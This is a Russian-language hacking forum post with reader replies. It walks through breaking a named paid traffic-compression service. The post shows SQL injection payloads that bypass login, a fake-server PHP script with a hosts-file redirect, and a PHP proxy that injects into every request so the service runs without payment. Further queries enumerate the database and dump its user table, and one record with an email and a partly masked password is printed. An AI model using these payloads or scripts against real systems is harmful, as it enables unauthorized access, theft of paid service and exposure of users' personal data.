Взлом Etraffic... INTRO Все начиналось в один прекрасный день, когда я страдал от скуки. Где то прочитав про такую чудесную прогу Etraffic (что то типа компрессора трафика) www.vipm.ru, я скачал ее. Там давалось всего 3 сжатых метра на осмотр возможностей программы, за остальное необходимо было платить, немного конечно 60 рублей за 350 метров, но мне подумалось: "А с какой стати?". И я принялся изучать работу программы. Как оказалось позже серверная часть программы была писана на php горе кодерами, но не буду сильно забегать вперед. Начнем Вообщем фаервол орал что прога лезет на айпи 66.29.31.232, порт 80. Сначала, при открытии этого айпишника в браузере, я не допер что за "Хладокомбинат кисловодский". Но все элементарное просто. Прожка стучится по домену www.vipm.ru который имеет такой же ip. Вооружившись сниффром я отснифал следующее: Code: GET /server/login_v_2_0.php?ilogin=5950585A4E4C38373639&ipsw=32576473415A6B655575&iid=32303532323637&hver=2&lver=0&ilp=2A2A2A2E2A2A2A2E2A2A2A2E2A2A2A&lid=6668465745920751364 HTTP/1.1 Host: www.vipm.ru Accept: text/html, */* User-Agent: Mozilla/3.0 (compatible; Indy Library) Вот оно лольство разработчиков. Данные передаются в хексе. Ну и собственно нас интересуют тут три параметра: ilogin-логин ipsw-пароль ilp-айпишнег юзверя(!)(разумеетсо свой айпишнег я переделал ) Собственно хотелось бы обратить ваше внимание на то что прожка передает айпишнег. То есть эта система уже не является анонимной как уверяют вас авторы на главной странице сайта. Так вот ответом на этот отосланый пакет служило это: Code: HTTP/1.1 200 OK Date: Fri, 21 Sep 2007 11:40:51 GMT Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch7 mod_ssl/2.2.3 OpenSSL/0.9.8c X-Powered-By: PHP/5.2.0-8+etch7 ETResult: 1001 ETError: zeUg4uXw7fvpIOvu4+jtIC0gWVBYWk5MODc2OSAo7eXyIODq6uDz7fLgKQ== Content-Length: 0 Keep-Alive: timeout=15 Connection: Keep-Alive Content-Type: text/html; charset=cp1251 Ой что это: zeUg4uXw7fvpIOvu4+jtIC0gWVBYWk5MODc2OSAo7eXyIODq6uDz7fLgKQ==? Узнаем здесь base64? Раскодируем и получаем: Не верный логин - YPXZNL8769 (нет аккаунта). И как ни странно прога выдает такое же сообщение. Тут я немного отвлекся заставив прогу повыдавать всякие надписи . Так, первые успехи у меня есть: клиент шифрует свои данные в хексе, сервер в base64. Но что же делать дальше? Вообще я неплохо рулю в SQL injection и втыкнув ' в параметр ilogin я получил уже другую ошибку что то типа Нет данных об аккаунте с кодом ETResult: 1000. "Не порядок" :подумал я и воткнул туда 1' /* разумеетсо шифруя все в хекс. Я получил в ответ что типа Не верный логин - 1' /* (нет аккаунта) с кодом 1001 и улыбка поползла по моему лицу. Дальше я воткнул 1' OR 1=1 /* вернулась фраза Неверный пароль с кодом 1002. Что же тут есть SQL injection. Вообщем мне было лень сначала подбирать столбцы. Так как не было вывода. Я попытался узнать версию Бд таким образом: 1' OR 1=IF(SUBSTRING(VERSION(),0,1)=5,1,2)/* На что мне к сожалению вернулась ошибка 1001 что нам говорил о том что версия ниже пятой. Затем я узнал что имя юзера не root. Ну решив что надо подобрать количество столбцов я это сделал и у меня получилось их 18 штук. Параметр ilogin выглядел вот так без хекса: 1' OR 1=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 /*. Затем, я узнаю есть ли SQL injection в параметре ipsw. Воткнув туда кавычку и увидев что ничего не изменилось, я воткнул туда конструкцию с бенчмарком, что по идее если в ipsw есть SQL injection вызовет большое торможение в ответе сервера . Но тормажение отсутствовало значит скорее всего запрос к базе один, выбор идет по логину а пароль проверяется в теле скрипта. Вот тут я начинаю тупить . Протыкав весь диапазон циферок от 1 до 18 в ipsw с логином 1' OR 1=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 /* я удивлялсо, неужели я ошибся . Но сходив и попив кофейку до меня дошло что я дурак . И я начал протыкивать диапазон циферок от 1 до 18 с логином 1' OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 /*. И на второй циферке мне повезло. Сервер вернул ответ: Code: HTTP/1.1 200 OK Date: Fri, 21 Sep 2007 11:29:30 GMT Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch7 mod_ssl/2.2.3 OpenSSL/0.9.8c X-Powered-By: PHP/5.2.0-8+etch7 ETResult: 0 ETServer: ODIuMTAzLjEzNS4xODI= ETServerSymbol: dmlw ETClient: L3NlcnZlci9jbGllbnRfdl8yXzBfdmlwLnBocA== ETEMail: Mw== ETAcType: 12 ETPack: 7 ETTotal: 6 ETEndDate: 01.01.1970 ETTodayN: 0 ETTodayP: 0 ETClones: 1 ETMT: 5 Content-Length: 23 Keep-Alive: timeout=15 Connection: Keep-Alive Content-Type: text/html; charset=cp1251 ETrraffic logon session Что говорило о том что пароль "подошел" . Теперь опять подумав, я наваял небольшой скриптег на php вот он: Code: <?php header("ETResult: 0"); header("ETServer: d3d3LnZpcG0ucnU="); header("ETServerSymbol: dmlw"); header("ETClient: L3NlcnZlci9jbGllbnRfdl8yXzBfdmlwLnBocA=="); header("ETEMail: Mw=="); header("ETAcType: 12"); header("ETPack: 7"); header("ETTotal: 6"); header("ETEndDate: 01.01.1970"); header("ETTodayN: 0"); header("ETTodayP: 0"); header("ETClones: 1"); header("ETMT: 3"); echo('ETrraffic logon session'); ?> И заставил прожку обратится к нему, путем небольшой модификации файлега hosts . Уря! Значок в трее загорелся зеленым , что говорит об успешной аунтификации. Теперь расшифровав вот это ETClient: L3NlcnZlci9jbGllbnRfdl8yXzBfdmlwLnBocA== получил /server/client_v_2_0_vip.php что скорее всего являлось скриптом отвечающим за передачу данных. Опять отснифаф прожку при обращеннии ее к этому скрипту я получил: Code: GET /server/client_v_2_0_vip.php HTTP/1.0 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50 Host: www.vipm.ru Accept: */* Accept-Language: ru,en;q=0.9 Accept-Charset: windows-1251, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1 ETBasic: WVBYWk5MODc2OSEkITJXZHNBWmtlVXUhJCFhSFIwY0RvdkwzZDNkeTVuYjI5bmJHVXVZMjl0TDNObFlYSmphRDlqYkdsbGJuUTliM0JsY21FbWNteHpQWEoxSm5FOUpVUXhKVGd4SlVRd0pVSkJKVVF3SlVJd0pVUXhKVGczSlVRd0pVSXdKVVF4SlRneUpVUXhKVGhESzBsU1NWTW1jMjkxY21ObGFXUTliM0JsY21FbWFXVTlkWFJtTFRnbWIyVTlkWFJtTFRnPSEkITIwNTIyNjchJCExNzIuMTcuMjAuOTA= ETOption: MSEkITEhJCExISQhMSEkITEw Этот пакет был сгенерирован при обращении браузером к гуглу используя эту систему. Попробовав несколько других сайтов я понял что в заголовке ничего не изменяестя только вписывается два параметра. ETOption который в себе содержит скорее всего какие-то параметры, типа там шифровать это, шифровать ли то и тд. А вот ETBasic при декодировании из base64 выглядит вот так: Code: YPXZNL8769!$!2WdsAZkeUu!$!aHR0cDovL3d3dy5nb29nbGUucnUv!$!2052267!$!***.***.***.*** То есть параметры разделяются строкой !$! и содержат в себе логин, пароль, запрашиваемая страница еще раз в base64, какой-то id, ip(скрыт). Теперь генерируя пакет с ETBasic равным: Code: [B][COLOR=orange]1' OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 /*[/COLOR][/B]!$! [B][COLOR=orange]2[/COLOR][/B]!$!aHR0cDovL3d3dy5nb29nbGUucnUv!$!2052267!$!***.***.***.*** Пулачаю в ответ страницу гугля сжатую gzip-ом. И опять счастье )). И я пошел вбивать в поля логин пароль в прожке два параметра но к сожалению все было бы очень хорошо если бы я бы это смог. Но прога ни в какую ни хотела принять стока символов в свои поля. Тогда я поступил проще наваял небольшой скриптег на php который бы переадресовывав все запросы от него к серверу, попутно заменяя пароль, логин, айпишнег на то что мне нужно. Вот его код: Code: <?php set_time_limit(0); $headers = GetAllHeaders(); $packet=$_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['SERVER_PROTOCOL'].' '; foreach($headers as $n_head=> $v_head){ if($n_head==='ETBasic'){ $v_head=base64_decode($v_head); $v_head=str_replace('YPXZNL8769',"1' OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 /*",$v_head); $v_head=str_replace('2WdsAZkeUu','2',$v_head); $v_head=str_replace('***.***','***.***',$v_head); $v_head=base64_encode($v_head); } $packet.=$n_head.': '.$v_head.' '; } $post_param=''; if($_SERVER['REQUEST_METHOD']==='POST'){ foreach($_POST as $key_n => $key_v){ $post_param.='&'.$key_n.'='.urlencode($key_v); } $post_param=substr($post_param,1); $packet.=' '; $packet.=$post_param; }else{ $packet.=' '; } $dt=''; $fp=fsockopen('66.29.31.232', 80); //$fp=fsockopen('127.0.0.1', 3333); fwrite($fp, $packet); while(!feof($fp)) $dt.=fread($fp, 1024); fclose($fp); $get_packet=substr($dt,0,strpos($dt," ")).' '; $dt=substr($dt,strpos($dt," ")+strlen(" ")); $get2_packet=$get_packet; for($i=0;$i<substr_count($get2_packet,' ');$i++){ $param=substr($get_packet,0,strpos($get_packet,' ')); $get_packet=substr($get_packet,strpos($get_packet,' ')+strlen(' ')); if(strpos($param,':')>0) { header($param); } } echo($dt); ?> Запустил прогу и о какое счастье! Прога работает отлично. Продолжение. Не знаю почему, но на следующий день, осмыслив все это, до меня доперла одна простая истина, что ведь из базы то вывод есть. Вспомним ответ сервера на запрос скрипта login_v_2_0.php: Code: HTTP/1.1 200 OK Date: Fri, 21 Sep 2007 11:29:30 GMT Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch7 mod_ssl/2.2.3 OpenSSL/0.9.8c X-Powered-By: PHP/5.2.0-8+etch7 ETResult: 0 ETServer: ODIuMTAzLjEzNS4xODI= ETServerSymbol: dmlw ETClient: L3NlcnZlci9jbGllbnRfdl8yXzBfdmlwLnBocA== ETEMail: Mw== ETAcType: 12 ETPack: 7 ETTotal: 6 ETEndDate: 01.01.1970 ETTodayN: 0 ETTodayP: 0 ETClones: 1 ETMT: 5 Content-Length: 23 Keep-Alive: timeout=15 Connection: Keep-Alive Content-Type: text/html; charset=cp1251 ETrraffic logon session И обратим внимание на праметры ETAcType ETPack ETTotal судя по всему они и являются полями 12, 7, 6. Тут я вбил в ilogin следующее 1' OR 1=2 UNION SELECT 1,2,3,4,5,VERSION(),7,8,9,10,11,12,13,14,15,16,17,18 /* ожидал увидеть грустную надпись о том что версия SQL сервера 4.бла-бла-бла. Но! Я был очень удивлен когда увидел что версия сервера равна пяти! Тут два варианта. Либо я ступил когда проверял версию раньше, либо админ переставил sql сервер. Скорее всего первое... Ну что же в БД всего четыре таблицы: 1' OR 1=2 UNION SELECT 1,2,3,4,5,CONCAT_WS('-',TABLE_SCHEMA,TABLE_NAME),7,8,9,10,11,12,13,14,15,16,17,18 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA<>'information_schema' LIMIT 0,1/* vipmru_et-et_pays vipmru_et-et_users vipmru_et-log vipmru_et-online Тут меня заинтересовала таблица et_users в ней колумны как мы помним 18 штук: 1' OR 1=2 UNION SELECT 1,2,3,4,5,COLUMN_NAME,7,8,9,10,11,12,13,14,15,16,17,18 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='et_users' LIMIT 0,1/* login password email name ip total packed limited regdate enterdate news actype enddate ban banday maxon status crc Хех... узнав количество зарегеных тел я ох...удивился их там 1927, что то многовато для такого говнеца ( Ну что же им же хуже . И вот взяв свой скрипт для дампа через лимит кому надо может найти тут http://forum.antichat.ru/showthread.php?p=407239. И сдампил всю таблицу. Вот запрос: 1' OR 1=2 UNION SELECT 1,2,3,4,5,CONCAT_WS('-',login,password,email,name,ip,total,packed,limited,regdate,enterdate,news,actype,enddate,ban,banday,maxon,status,crc),7,8,9,10,11,12,13,14,15,16,17,18 FROM et_users LIMIT 0,1/* Собственно приглядимся: root-yuwy**ZaHF-setisoft@mail.ru--172.20.2.181-36429213-8286309-2147483647-1149192000-1190284090-1-1-1220126400-0-0-3-1161633600-1962593312 Вот скажите вам 172.20.2.181 ничего не напоминает? Так что об анонимности здесь речи может и не идти... Сунулся я зарегится под этим логином и паролем на их сайте но к сожалению кроме как увеличить счет какого то юзера, статистики не было, вообщем ничего хорошего. Но того что я имел на данный момент мне было достаточно ))) OUTRO Вообще все написанное выше не воспринимать всерьез. Это бред больного ума автора, который не несет ответственности за противозаконное приминение данного материала и которому это все приснилось после того как он ударилосо головой обо что-то, и вообще его тут нет .
У меня анлимит, но за старание, за то что расписал респ и плюс. Etraffic - вещь всё таки думаю многим необходимая. До конца не осилил, да там и так всё понятно... Почему то улыбнуло...